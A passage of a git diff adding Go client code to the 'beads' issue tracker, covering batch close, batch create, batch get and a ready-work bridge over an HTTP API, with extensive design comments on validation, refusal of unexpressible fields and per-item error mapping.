legs: the role contract calls an +// empty actor, an empty batch or a blank item id invalid, so they must not +// consume a write slot to be told so. The item cap is enforced here too, and it +// refuses — never chunks — for the reason L16's dependency-add cap does. +type httpBatchCloser struct { + store *Store + wire WriteWire +} + +var _ issueops.BatchCloser = (*httpBatchCloser)(nil) + +// CloseBatch closes the batch, on the wire's batchClose operation where the +// server advertises it and by composing a single closeIssue where it does not. +func (b *httpBatchCloser) CloseBatch(ctx context.Context, req issueops.CloseBatchRequest) (result issueops.CloseBatchResult, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError into + // *InexpressibleError so errors.As(err, &unsupported) reaches + // *storage.ErrUnsupported, same as inexpressible does for a read role. + defer func() { err = b.store.inexpressible("BatchCloser.CloseBatch", err) }() + // Request validation first, and all of it client-side. A non-nil error here + // carries no outcomes, which the method's contract requires. + if err := requireActor(req.Actor); err != nil { + return issueops.CloseBatchResult{}, err + } + if len(req.Items) == 0 { + return issueops.CloseBatchResult{}, invalid("a batch close names no items") + } + for i, item := range req.Items { + if item.IssueID == "" { + return issueops.CloseBatchResult{}, invalid("items[%d].issue_id is required", i) + } + } + // ClaimNext's OWN request rules run before the capability question is asked, + // the same ordering ReadyClaimer.ClaimNext uses: a filter that is invalid on + // every backend (a limit, an offset, a brief projection, or an unknown sort + // policy) is ErrValidation here, not a refusal of a capability the wire + // might have had. RunBatchCloserClaimFilterValueFailureIsARequestValidationFailure + // pins this — the item is real and closeable, so a backend that ran the + // batch before discovering the bad filter would still have to undo it. + if req.ClaimNext != nil { + if err := storageops.ValidateClaimNextRequest(issueops.ClaimNextRequest{Actor: req.Actor, Filter: *req.ClaimNext}); err != nil { + return issueops.CloseBatchResult{}, err + } + if err := validateReadySortPolicy(req.ClaimNext.Sort); err != nil { + return issueops.CloseBatchResult{}, err + } + // Past its own validation, ClaimNext still refuses unconditionally: OSS's + // apigen.BatchCloseRequest and BatchCloseResponse publish no + // claim_next/claimed_next member at all, so there is no shape — valid or + // not — for this field to encode into. See ledger row + // W-CloseBatchRequest.ClaimNext. + return issueops.CloseBatchResult{}, refuse(encode.OpBatchCloseIssues, "W-CloseBatchRequest.ClaimNext") + } + // The wire's item cap, enforced before the dial and NEVER by chunking: a + // split batch is N transactions where the caller asked for one. L-close-cap. + if len(req.Items) > maxWireBatchCloseItems { + return issueops.CloseBatchResult{}, refuse(encode.OpBatchCloseIssues, "L-close-cap") + } + + served, err := b.servesBatchClose(ctx) + if err != nil { + return issueops.CloseBatchResult{}, err + } + if served { + return b.serveBatch(ctx, req) + } + return b.serveComposedSingle(ctx, req) +} + +// servesBatchClose reports whether the server advertises issues.batchClose. It +// forces the one lazy handshake the store already owns and reads the cached +// capability list, so the check costs at most one round trip and none once the +// handshake has run. +// +// IT RETURNS THE HANDSHAKE'S ERROR, and servesListSort (list_walk.go) — the +// same probe against the same snapshot — deliberately swallows its own and +// reports false. The asymmetry is the design, and neither should be "fixed" +// into the other: this is a WRITE whose only legs both dial, so a handshake +// that cannot be obtained means the close cannot be attempted at all and +// hiding that would turn a transport failure into a silent down-level route. +// listIssues is a baseline READ whose fallback leg needs no handshake and +// worked before the capability existed, so propagating there would newly fail +// a `bd list` that succeeds today. +func (b *httpBatchCloser) servesBatchClose(ctx context.Context) (bool, error) { + snap, err := b.store.snapshot(ctx) + if err != nil { + return false, err + } + if snap == nil { + return false, nil + } + token, _ := wire.CapabilityFor(wire.OpBatchCloseIssues) + return slices.Contains(snap.Capabilities, token), nil +} + +// serveBatch sends the whole request on one issues:batchClose call and reads the +// per-item outcomes back. +func (b *httpBatchCloser) serveBatch(ctx context.Context, req issueops.CloseBatchRequest) (issueops.CloseBatchResult, error) { + body := batchCloseBody(req) + resp, err := b.wire.BatchCloseIssues(ctx, body) + if err != nil { + return issueops.CloseBatchResult{}, err + } + return decodeBatchCloseResult(req, resp) +} + +// serveComposedSingle is the down-level fallback: the single-item, no-ClaimNext +// shape composed onto closeIssue, with every other shape refused citing the +// missing capability. It is TODAY's serve, reached only when issues.batchClose +// is absent. +func (b *httpBatchCloser) serveComposedSingle(ctx context.Context, req issueops.CloseBatchRequest) (issueops.CloseBatchResult, error) { + if err := b.store.refuseUnservedCloseShape(req); err != nil { + return issueops.CloseBatchResult{}, err + } + item := req.Items[0] + res, err := b.wire.CloseIssue(ctx, item.IssueID, closeBody(req.Actor, item.Reason, req.Session, req.Force)) + if err != nil { + if outcome, ok := perItemCloseRefusal(item.IssueID, err); ok { + // A per-item refusal is a RESULT and never the method's error. The + // batch of one has nothing left to commit, but the caller still reads + // its answer out of Outcomes like any other batch. + return issueops.CloseBatchResult{Outcomes: []issueops.CloseOutcome{outcome}}, nil + } + return issueops.CloseBatchResult{}, err + } + + issue := res.Issue + return issueops.CloseBatchResult{Outcomes: []issueops.CloseOutcome{{ + IssueID: item.IssueID, + Issue: &issue, + Changed: !res.AlreadyClosed, + OpenChildren: res.OpenChildren, + }}}, nil +} + +// batchCloseBody projects the role request onto the wire body. Reasons ride per +// item, and session and force are request-wide. ClaimNext has no member to +// project onto — CloseBatch refuses it unconditionally before this body is +// ever built (W-CloseBatchRequest.ClaimNext), so req.ClaimNext is always nil +// here. +func batchCloseBody(req issueops.CloseBatchRequest) apigen.BatchCloseRequest { + items := make([]apigen.BatchCloseItem, len(req.Items)) + for i, item := range req.Items { + items[i] = apigen.BatchCloseItem{Id: item.IssueID} + if item.Reason != "" { + reason := item.Reason + items[i].Reason = &reason + } + } + body := apigen.BatchCloseRequest{Actor: req.Actor, Items: items} + if req.Session != "" { + session := req.Session + body.Session = &session + } + if req.Force { + force := true + body.Force = &force + } + return body +} + +// decodeBatchCloseResult reads the wire response back into the role's result. +// +// The server's contract is one outcome per item in request order; a length that +// disagrees is a broken server, which is the METHOD's failure and carries no +// outcomes rather than a per-item one the caller might trust. +// +// The result's ClaimedNext always stays nil: OSS's apigen.BatchCloseResponse +// publishes no claimed_next member for this client to decode, and CloseBatch +// refuses any request that asked for one before a body is ever sent (see +// ledger row W-CloseBatchRequest.ClaimNext), so there is nothing a server +// could answer here that this client would read. +func decodeBatchCloseResult(req issueops.CloseBatchRequest, resp *apigen.BatchCloseResponse) (issueops.CloseBatchResult, error) { + if len(resp.Outcomes) != len(req.Items) { + return issueops.CloseBatchResult{}, fmt.Errorf( + "bd serve returned %d batch-close outcomes for %d items", len(resp.Outcomes), len(req.Items)) + } + outcomes := make([]issueops.CloseOutcome, len(resp.Outcomes)) + for i := range resp.Outcomes { + outcomes[i] = decodeBatchCloseOutcome(resp.Outcomes[i]) + } + return issueops.CloseBatchResult{Outcomes: outcomes}, nil +} + +// decodeBatchCloseOutcome reads ONE wire outcome. +// +// `code` IS THE DISCRIMINATOR, which is the wire's own rule: present means the +// item refused and nothing was written for it; absent means it succeeded and +// the snapshot, `already_closed` and `open_children` are all present. The +// members are FLAT on the outcome rather than nested under an error object, so +// `open_children` is read from the same field in both branches and means two +// different things depending on which one — see the schema. +func decodeBatchCloseOutcome(item apigen.CloseOutcome) issueops.CloseOutcome { + out := issueops.CloseOutcome{IssueID: item.IssueId} + if item.Code != nil { + out.Err = perItemCloseError(item.IssueId, item) + return out + } + // A successful outcome carries the snapshot; already_closed is the idempotent + // re-close (Changed false), and open_children is what a forced close observed. + out.Issue = item.Issue + if item.OpenChildren != nil { + out.OpenChildren = *item.OpenChildren + } + out.Changed = item.AlreadyClosed == nil || !*item.AlreadyClosed + return out +} + +// perItemCloseError is the shared code -> error table that turns a refused wire +// outcome into the canonical close vocabulary a local batch would have +// returned, so a caller classifies a remote per-item refusal with the same +// errors.Is/errors.As arms it already has: +// +// not_found -> issueops.ErrNotFound +// not_closable + open_children -> *issueops.CloseOpenChildrenError +// not_closable -> issueops.ErrCloseBlocked +// an unknown code -> *wire.UnknownItemCodeError (the generic +// typed per-item error, so version skew lands +// as a typed refusal rather than a silent gap) +// +// The member-presence discriminator on not_closable is the same one the single +// close's 409 uses, and it comes from the typed field, never from parsing prose. +// +// It is only ever called with a refused outcome — Code non-nil — which the one +// caller above guarantees. +func perItemCloseError(issueID string, item apigen.CloseOutcome) error { + var code string + if item.Code != nil { + code = *item.Code + } + switch code { + case codeNotFound: + return issueops.ErrNotFound + case codeNotClosable: + if item.OpenChildren != nil { + return &issueops.CloseOpenChildrenError{IssueID: issueID, OpenChildren: *item.OpenChildren} + } + return issueops.ErrCloseBlocked + default: + var detail string + if item.Detail != nil { + detail = stripItemControlRunes(*item.Detail) + } + return &wire.UnknownItemCodeError{ + IssueID: issueID, + Code: stripItemControlRunes(code), + Detail: detail, + } + } +} + +// The two per-item refusal codes this outcome can carry. They are the +// `Problem.code` spellings, restated here rather than imported because +// importing the server package would drag the storage engine into a client. +const ( + codeNotFound = "not_found" + codeNotClosable = "not_closable" +) + +// stripItemControlRunes removes control runes from a server-controlled per-item +// string before it becomes a typed error, mirroring the wire problem mapper's +// own source-layer strip: the unknown-code carrier reaches the same per-id +// stderr sinks a decoded ProblemError does. +func stripItemControlRunes(s string) string { + return strings.Map(func(r rune) rune { + if unicode.IsControl(r) || r == '
' || r == '
' { + return -1 + } + return r + }, s) +} + +// refuseUnservedCloseShape names the shape that refused in the DOWN-LEVEL leg, so +// the refusal says which of the two reasons it is rather than "batch close is +// unsupported". It survives only in that leg: where issues.batchClose is +// advertised, every shape is served on one wire call and nothing reaches here. +// +// ClaimNext is not checked here: CloseBatch refuses it unconditionally, on +// both legs, before either serving method is called (see ledger row +// W-CloseBatchRequest.ClaimNext), so req.ClaimNext is always nil by the time +// a request reaches this leg. +func (s *Store) refuseUnservedCloseShape(req issueops.CloseBatchRequest) error { + if len(req.Items) > 1 { + return s.unsupported("BatchCloser.CloseBatch(multi-item)") + } + return nil +} + +// perItemCloseRefusal separates the close vocabulary an ITEM answers with from +// the failures the METHOD answers with, for the composed single-item leg. +// +// The three it recognizes are exactly what Lifecycle.Close returns, and exactly +// what the wire's problem mapper reconstructs: not_found becomes ErrNotFound, +// not_closable carrying open_children becomes *CloseOpenChildrenError, and +// not_closable without it becomes ErrCloseBlocked. Everything else — a transport +// failure, a 503, an unknown 4xx — is the method's, because it says nothing about +// this item and would be a lie as a per-item outcome. +func perItemCloseRefusal(issueID string, err error) (issueops.CloseOutcome, bool) { + var openChildren *issueops.CloseOpenChildrenError + switch { + case errors.As(err, &openChildren): + case errors.Is(err, issueops.ErrNotFound): + case errors.Is(err, issueops.ErrCloseBlocked): + default: + return issueops.CloseOutcome{}, false + } + return issueops.CloseOutcome{IssueID: issueID, Err: err}, true +} diff --git a/internal/httpclient/batchcreator.go b/internal/httpclient/batchcreator.go new file mode 100644 index 000000000..ea9b1f7be --- /dev/null +++ b/internal/httpclient/batchcreator.go @@ -0,0 +1,296 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/batchcreator.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "reflect" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/issueops" +) + +// maxBatchCreateItems mirrors the wire's own bound (internal/httpapi's +// batch_create.go, and the document's maxItems). It is checked here for +// maxDeleteIDs' reason: the request IS the transaction, so splitting a longer +// plan into two requests would turn one atomic create into two — and half a +// file is the outcome the role's all-or-nothing promise exists to make +// impossible. A caller that really has more than a hundred issues splits the +// plan deliberately, which is the document's own advice. +const maxBatchCreateItems = 100 + +// batchCreateCarriedIssueMembers is the wire's item vocabulary: the eight +// members of apigen.BatchCreateItem that describe the issue itself, keyed by the +// types.Issue field each one carries. +// +// It is the ALLOWLIST half of refuse-not-drop for this operation. What it does +// not name is refused, and there is no third arm — see refuseUnwirableIssue. +// +// Status and CreatedBy are deliberately absent, each for its own reason, and +// neither belongs in roleIgnoredCreateIssueMembers below: both are genuinely +// ACCEPTED by the role's canonical create rules (CreateRequest.Issue's doc, +// which BatchCreateItem.Issue inherits without exception), so silently +// dropping either would be exactly the data loss refuse-not-drop exists to +// prevent. +// - Status: apigen.BatchCreateItem publishes no status member at all, unlike +// single create's apigen.CreateIssueRequest (which does, see +// createCarriedIssueMembers). A populated value is correctly refused. The +// common case is not lost: PreparePublicCreateRequest defaults an empty +// Status to StatusOpen on every backend, so a caller that only ever wants +// the default (cmd/bd/markdown.go's `bd create --file`) leaves it unset +// rather than spelling out "open" and tripping this refusal. That removes +// ONE refusal from `bd create --file`, not all of them: its request still +// always names a Provenance (W-CreateBatchRequest.Provenance) and usually +// an Owner from git config (W-BatchCreateItem.Issue), so it still refuses +// over this wire. +// - CreatedBy: apigen.BatchCreateItem has no member for it either, but the +// batch server stamps every item's created_by from the request's actor +// (internal/httpapi/batch_create.go), as single create does. A CreatedBy +// naming the actor is therefore carried BY the actor +// (actorStampedCreateMember below), and any other value is refused rather +// than silently replaced by the stamp. +var batchCreateCarriedIssueMembers = map[string]string{ + "Title": "title", + "Description": "description", + "Design": "design", + "AcceptanceCriteria": "acceptance_criteria", + "Priority": "priority", + "IssueType": "issue_type", + "Assignee": "assignee", + "Labels": "labels", +} + +// roleIgnoredCreateIssueMembers are the members the ROLE ITSELF ignores on a +// create, each with the reason, taken from issueops.CreateRequest.Issue's own +// list: "It ignores ContentHash, RowVersion, lease state, compaction state, +// routing overrides, hydration flags, and derived fields." +// +// They are not divergences and must not be refused. A local create drops them +// too, so refusing here would make an http workspace REJECT a request every +// other backend accepts — the opposite failure from the one refuse-not-drop +// guards, and just as wrong. +var roleIgnoredCreateIssueMembers = map[string]string{ + "ContentHash": "derived: recomputed from the stored content", + "RowVersion": "derived: the engine stamps its own row lock", + "LeaseExpiresAt": "lease state: a create grants no lease", + "HeartbeatAt": "lease state: a create grants no lease", + "LeaseGrantedNode": "lease state: a create grants no lease", + "CompactionLevel": "compaction state: nothing is compacted at create", + "CompactedAt": "compaction state: nothing is compacted at create", + "CompactedAtCommit": "compaction state: nothing is compacted at create", + "OriginalSize": "compaction state: nothing is compacted at create", + "SourceRepo": "routing override: which local database owns the row", + "IDPrefix": "routing override: id generation is the server's", + "PrefixOverride": "routing override: id generation is the server's", + "WispPlaneOverride": "routing override: import's explicit plane marker", + "IsLitePartial": "hydration flag: describes a READ, not a create", +} + +// actorStampedCreateMember reports whether a populated issue member is one the +// server writes from the request's actor rather than reads from the body, and +// already holds the value that stamp will write. +// +// CreatedBy is the one such member: every create shape stamps created_by from +// the actor (internal/httpapi's create.go, batch_create.go and batch_apply.go). +// It is neither carried nor role-ignored — a local create stores whatever the +// issue names — so it is carried BY THE ACTOR: a CreatedBy that names the actor, +// which is what `bd create`, `bd create --file` and the graph apply send, +// arrives as written, and any other value would be silently replaced by the +// stamp and is refused. +func actorStampedCreateMember(member string, issue *issueops.Issue, actor string) bool { + return member == "CreatedBy" && issue.CreatedBy == actor +} + +// httpBatchCreator serves issueops.BatchCreator from the batchCreateIssues +// custom method (design D8 row 14) — the write side of `bd create --file`. +// +// THE REQUEST IS THE TRANSACTION on both sides, and that is the whole reason +// this composes at all: the wire's operation is itself all-or-nothing, so one +// role call is one request is one server-side transaction with at most one +// history entry. Nothing here loops, and nothing here chunks. +// +// WHAT THE WIRE'S ITEM CANNOT SAY is where the work is. apigen.BatchCreateItem +// publishes eight content members and a dependency list; issueops reads a whole +// types.Issue, and the role accepts far more of it than that — an explicit id, +// the wisp flags, metadata, the gate and molecule fields, every timestamp. +// Every one of those is refused rather than dropped (ledger row +// W-BatchCreateItem.Issue): a create that reported success having silently +// planted an issue in the durable tier that the caller asked to be ephemeral is +// data loss the caller has no way to learn about. +// +// The refusal is decided by REFLECTION over the two tables above rather than by +// a hand-written switch, so a member added to types.Issue tomorrow is refused +// the day it lands instead of dropped until someone notices. +type httpBatchCreator struct { + store *Store + wire WriteWire +} + +var _ issueops.BatchCreator = (*httpBatchCreator)(nil) + +// CreateBatch dials POST /v0/beads/issues:batchCreate. +func (b *httpBatchCreator) CreateBatch(ctx context.Context, req issueops.CreateBatchRequest) (result issueops.CreateBatchResult, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError — + // however deeply batchCreateItem/batchCreateEdge/refuseUnwirableIssue + // nested it inside an "items[%d]..." prefix — into *InexpressibleError so + // errors.As(err, &unsupported) reaches *storage.ErrUnsupported, same as + // inexpressible does for a read role. The original composite message + // (including that prefix) is preserved in the decorated error's own text. + defer func() { err = b.store.inexpressible("BatchCreator.CreateBatch", err) }() + if err := requireActor(req.Actor); err != nil { + return issueops.CreateBatchResult{}, err + } + if len(req.Items) == 0 { + return issueops.CreateBatchResult{}, invalid("a batch create names no items") + } + if len(req.Items) > maxBatchCreateItems { + return issueops.CreateBatchResult{}, refuse(encode.OpBatchCreateIssues, "L-batchcreate-bound") + } + if req.Provenance != "" { + return issueops.CreateBatchResult{}, refuse(encode.OpBatchCreateIssues, "W-CreateBatchRequest.Provenance") + } + if req.ForceIDPrefix { + return issueops.CreateBatchResult{}, refuse(encode.OpBatchCreateIssues, "W-CreateBatchRequest.ForceIDPrefix") + } + + items := make([]apigen.BatchCreateItem, 0, len(req.Items)) + for i, item := range req.Items { + wireItem, err := batchCreateItem(i, item, req.Actor) + if err != nil { + return issueops.CreateBatchResult{}, err + } + items = append(items, wireItem) + } + + res, err := b.wire.BatchCreateIssues(ctx, apigen.BatchCreateRequest{Actor: req.Actor, Items: items}) + if err != nil { + return issueops.CreateBatchResult{}, err + } + + // One entry per requested item, in request order, never nil. The response is + // read back rather than the request echoed because the GENERATED IDS are the + // one fact the request cannot carry — and a server that answered a different + // length would be caught here rather than by an index panic upstream. + if len(res.Items) != len(req.Items) { + return issueops.CreateBatchResult{}, fmt.Errorf( + "batchCreateIssues answered %d issues for %d items; the operation is all-or-nothing and has no partial outcome", + len(res.Items), len(req.Items)) + } + issues := make([]*issueops.Issue, len(res.Items)) + for i := range res.Items { + issue := res.Items[i] + issues[i] = &issue + } + return issueops.CreateBatchResult{Issues: issues}, nil +} + +// batchCreateItem projects one role item onto the wire's item. +func batchCreateItem(index int, item issueops.BatchCreateItem, actor string) (apigen.BatchCreateItem, error) { + if item.Issue == nil { + return apigen.BatchCreateItem{}, invalid("items[%d] carries no issue", index) + } + if len(item.Issue.Comments) > 0 || len(item.Issue.Dependencies) > 0 { + // The ROLE's own rule, not a wire divergence: edges are supplied through + // the item's own Dependencies, and a create batch has no way to supply + // comments at all. A local backend refuses this too. + return apigen.BatchCreateItem{}, invalid( + "items[%d].Issue carries comments or dependencies; supply edges through the item's own Dependencies", index) + } + if err := refuseUnwirableIssue(index, item.Issue, actor); err != nil { + return apigen.BatchCreateItem{}, err + } + + // Priority is sent ALWAYS, unlike the five optional strings: 0 is P0 and a + // real request, so an absent member — which the server reads as "the + // workspace default" — would silently reprioritize every critical issue in a + // plan. The pointer addresses a local copy, never the caller's field. + priority := item.Issue.Priority + wireItem := apigen.BatchCreateItem{Title: item.Issue.Title, Priority: &priority} + setItemString(&wireItem.Description, item.Issue.Description) + setItemString(&wireItem.Design, item.Issue.Design) + setItemString(&wireItem.AcceptanceCriteria, item.Issue.AcceptanceCriteria) + setItemString(&wireItem.Assignee, item.Issue.Assignee) + setItemString(&wireItem.IssueType, string(item.Issue.IssueType)) + if len(item.Issue.Labels) > 0 { + labels := append([]string(nil), item.Issue.Labels...) + wireItem.Labels = &labels + } + + if len(item.Dependencies) > 0 { + edges := make([]apigen.BatchCreateDependency, 0, len(item.Dependencies)) + for j, dep := range item.Dependencies { + edge, err := batchCreateEdge(index, j, dep) + if err != nil { + return apigen.BatchCreateItem{}, err + } + edges = append(edges, edge) + } + wireItem.Dependencies = &edges + } + return wireItem, nil +} + +// batchCreateEdge projects one requested edge. The wire's edge carries a target +// and a type and nothing else, so the three members issueops.CreateDependency +// adds refuse. +func batchCreateEdge(index, j int, dep issueops.CreateDependency) (apigen.BatchCreateDependency, error) { + where := func(err error) error { return fmt.Errorf("items[%d].dependencies[%d]: %w", index, j, err) } + switch { + case dep.TargetID == "": + return apigen.BatchCreateDependency{}, where(invalid("target_id is required")) + case dep.Type == "": + return apigen.BatchCreateDependency{}, where(invalid("type is required")) + case dep.Reverse: + return apigen.BatchCreateDependency{}, where(refuse(encode.OpBatchCreateIssues, "W-CreateDependency.Reverse")) + case dep.Metadata != "": + return apigen.BatchCreateDependency{}, where(refuse(encode.OpBatchCreateIssues, "W-CreateDependency.Metadata")) + case dep.ThreadID != "": + return apigen.BatchCreateDependency{}, where(refuse(encode.OpBatchCreateIssues, "W-CreateDependency.ThreadID")) + } + return apigen.BatchCreateDependency{TargetId: dep.TargetID, Type: string(dep.Type)}, nil +} + +// refuseUnwirableIssue is the other half of the allowlist: every populated +// member of the issue that is neither carried by the wire, nor ignored by the +// role, nor stamped from the actor (actorStampedCreateMember). +// +// It answers the FIRST offender in declaration order, which is deterministic — +// a caller fixing one member at a time must not see the reported member depend +// on map iteration. +func refuseUnwirableIssue(index int, issue *issueops.Issue, actor string) error { + value := reflect.ValueOf(*issue) + shape := value.Type() + for i := range shape.NumField() { + field := shape.Field(i) + if !field.IsExported() { + continue + } + if _, carried := batchCreateCarriedIssueMembers[field.Name]; carried { + continue + } + if _, ignored := roleIgnoredCreateIssueMembers[field.Name]; ignored { + continue + } + if value.Field(i).IsZero() || actorStampedCreateMember(field.Name, issue, actor) { + continue + } + // The ledger row is the vocabulary; the member name is the fact the row + // cannot carry, because one row covers the whole population. + return fmt.Errorf("items[%d].Issue.%s: %w", + index, field.Name, refuse(encode.OpBatchCreateIssues, "W-BatchCreateItem.Issue")) + } + return nil +} + +// setItemString writes an optional wire member, leaving it absent when the role +// carried nothing. An empty string and an omitted member mean the same thing on +// every one of these five, so absent is the honest encoding. +func setItemString(dest **string, value string) { + if value == "" { + return + } + v := value + *dest = &v +} diff --git a/internal/httpclient/batchgetter.go b/internal/httpclient/batchgetter.go new file mode 100644 index 000000000..3f48ef403 --- /dev/null +++ b/internal/httpclient/batchgetter.go @@ -0,0 +1,130 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/batchgetter.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "net/http" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/issueops" +) + +// httpBatchGetter serves batchGetIssues (POST /v0/beads/issues:batchGet) — +// the role behind gc's ready veto and the CLI's own id-resolution passes, +// once they move off one Get per id. +// +// IT IS A READ, DIALED AS A POST: the request carries an `ids` array no GET +// query string can hold cleanly at the operation's own cap (MaxGetManyIDs), +// the same reason queryIssues dials POST rather than GET. Nothing about that +// changes the role's nature — it writes nothing, takes no actor and no +// version guard — so this goes through dispatch directly, the way Counter +// and Querier do, rather than through roleWire: there is no write envelope +// here for a WriteWire method to carry. +// +// THE CAP AND THE BLANK-ID CHECK ARE DONE HERE, BEFORE THE DIAL, and that is +// a deliberate divergence from how every other validation on this surface +// works: everywhere else, the role's own ErrValidation reaches the wire +// through the server's failure translation and this client decodes it back. +// batch_get.go's failBatchGetErr does not do that — it collapses EVERY +// validation failure, the cap included, into one generic +// InvalidArgument/invalid_value problem with no distinguishing code, so a +// server round trip can never hand this client the exact +// *issueops.TooManyIDsError{Requested, Cap} the role's own contract and the +// conformance suite's errors.As checks require. checkGetManyIDs reproduces +// internal/storage/issueops.ValidateGetManyRequest's exact two checks, in +// its exact order (the cap, counted before deduplication; then the first +// blank entry) — not by importing that package, which is the storage +// engine's shared body and does not belong in a transport client, but by +// restating its two rules against the same public issueops types the role +// itself is spelled in. +type httpBatchGetter struct{ store *Store } + +var _ issueops.BatchGetter = (*httpBatchGetter)(nil) + +// GetMany dials POST /v0/beads/issues:batchGet. +// +// The ids are sent VERBATIM — not trimmed, not deduplicated, not reordered — +// checkDeleteIDs' sibling reason: the wire's own `ids` member document says +// duplicates collapse and the answer comes back in first-mention order, +// which is exactly the normalization ValidateGetManyRequest's callers +// (ExecuteGetMany, via DedupeGetManyIDs and FinishGetMany) apply server-side. +// Redoing it here would be a second implementation of a rule that already +// has one, on the operation where a disagreement about which id was "first" +// would reorder the answer rather than merely duplicate work. +func (g *httpBatchGetter) GetMany(ctx context.Context, req issueops.GetManyRequest) (issueops.GetManyResult, error) { + if err := checkGetManyIDs(req.IDs); err != nil { + return issueops.GetManyResult{}, err + } + if len(req.IDs) == 0 { + // Answered locally rather than dialed: an empty request is legal and + // the role promises an empty, non-nil answer, so there is nothing a + // round trip could add — the same early return ExecuteGetMany itself + // takes after deduplication. + return issueops.GetManyResult{Issues: []*issueops.Issue{}, Missing: []string{}}, nil + } + + var body apigen.BatchGetIssuesResult + if err := g.store.dispatch(ctx, wire.Request{ + Op: wire.OpBatchGetIssues, + Method: http.MethodPost, + Path: wire.PathIssuesBatchGet, + Body: apigen.BatchGetIssuesRequest{ + Ids: append([]string(nil), req.IDs...), + }, + }, &body); err != nil { + return issueops.GetManyResult{}, err + } + + issues := make([]*issueops.Issue, 0, len(body.Issues)) + for i := range body.Issues { + entry := body.Issues[i] + // BatchGetIssue.Revision is this operation's only wire spelling of the + // row's token — Issue.RowVersion is json:"-", the same stitch + // getIssuesByExactID and role_reader.go's getIssue make for their own + // responses. Without it, every resolved issue would carry a RowVersion + // of 0, and a caller that fed one into a guarded write would get a + // spurious precondition_failed instead of none. + version, err := parseRevision("BatchGetter.GetMany", entry.Revision) + if err != nil { + return issueops.GetManyResult{}, err + } + issue := entry.Issue + issue.RowVersion = version + issues = append(issues, &issue) + } + + missing := make([]string, len(body.Missing)) + copy(missing, body.Missing) + + return issueops.GetManyResult{ + Issues: issues, + Missing: missing, + }, nil +} + +// checkGetManyIDs applies the request-intrinsic refusals before the dial, +// in the SAME ORDER internal/storage/issueops.ValidateGetManyRequest applies +// them server-side (batch_get.go's batchGetRequest comment says so +// explicitly): the cap first, counted on the request as sent, before any +// deduplication; then the first blank entry. +// +// The blank check is a LITERAL id == "", not a trimmed one: GetManyRequest.IDs +// are exact ids, and DedupeGetManyIDs' own doc says this role does not trim +// whitespace the way DeleteRequest.IDs does, because a caller that padded an +// id is naming a genuinely different, unresolvable id rather than making a +// typo this role should forgive. checkDeleteIDs' TrimSpace check does not +// apply here for that reason. +func checkGetManyIDs(ids []string) error { + if len(ids) > issueops.MaxGetManyIDs { + return &issueops.TooManyIDsError{Requested: len(ids), Cap: issueops.MaxGetManyIDs} + } + for i, id := range ids { + if id == "" { + return fmt.Errorf("%w: get many id at position %d is empty", issueops.ErrValidation, i) + } + } + return nil +} diff --git a/internal/httpclient/bridge.go b/internal/httpclient/bridge.go new file mode 100644 index 000000000..3d808e7e4 --- /dev/null +++ b/internal/httpclient/bridge.go @@ -0,0 +1,197 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/bridge.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "net/http" + "net/url" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The off-role ready bridge, and the raw issue read the `--parent` walk probes +// with. +// +// The bridge exists because `bd ready`'s listing is still raw at tip +// (cmd/bd/ready.go:172 and :211): the front door has not moved onto +// issueops.Reader, so a reverse types.WorkFilter mapper is required until it +// does. D8 calls it deliberately throwaway and it is — what is not throwaway is +// the rule it holds to: every field it cannot express REFUSES, because a dropped +// filter widens a result set invisibly and the server can only reject the +// parameters it receives (L12). +// +// The SEARCH bridge is not here. Its two shapes are id resolution's (resolve.go) +// and the descendant walk's, and both live beside the surfaces that own them. + +// GetReadyWork serves `bd ready`'s text listing. +// +// It is the projection and GetReadyWorkWithCounts is the primitive, not the +// other way round: the wire hydrates the three cardinalities either way, because +// the page element IS types.IssueWithCounts. +func (s *Store) GetReadyWork(ctx context.Context, filter types.WorkFilter) ([]*types.Issue, error) { + rows, err := s.GetReadyWorkWithCounts(ctx, filter) + if err != nil { + return nil, err + } + out := make([]*types.Issue, 0, len(rows)) + for _, row := range rows { + out = append(out, row.Issue) + } + return out, nil +} + +// GetReadyWorkWithCounts is the same listing with the counts `bd ready --json` +// prints. +// +// ONE REQUEST, NO PAGING. listReadyWork publishes no cursor — its sort policies +// admit no keyset predicate — so `limit` and the server's own has_more ARE the +// page contract, exactly as they are for the Reader.Ready role this bridge dies +// in favor of. The request is built by the same encoder and dialed through the +// same door, so the two spellings of "list ready work" cannot drift apart. +func (s *Store) GetReadyWorkWithCounts(ctx context.Context, filter types.WorkFilter) ([]*types.IssueWithCounts, error) { + rows, _, err := s.readyBridgePage(ctx, "GetReadyWorkWithCounts", filter) + return rows, err +} + +// GetReadyWorkWithCountsAndTotal is GetReadyWorkWithCounts plus the size of the +// whole ready set, which `bd ready --json` prints as its pagination total. +// +// AT MOST TWO REQUESTS. listReadyWork's ReadyPage carries items and has_more +// but no total, so the total cannot ride the page the way it does in a SQL +// backend's single transaction. When the server says the page is the whole set +// (has_more false — always the case for an unlimited listing) the total IS the +// page length and no second request is made. Only a truncated page pays one +// countReadyWork round trip, encoded from the same filter by +// encode.ReadyBridgeCountParams, which is the round trip the text path's +// ReadyCounter role already makes. +// +// The two requests are two server transactions, not one snapshot: a write +// landing between them can make the total disagree with the page by that +// write. The total is clamped to at least the page length so the envelope +// never reports fewer items than it carries. +// +// Every refusal the listing makes is made before either request (the count +// encoder runs the listing's encoder), so a filter the wire cannot express — +// ExcludeIDs included — fails here exactly as it fails GetReadyWorkWithCounts. +func (s *Store) GetReadyWorkWithCountsAndTotal(ctx context.Context, filter types.WorkFilter) ([]*types.IssueWithCounts, int, 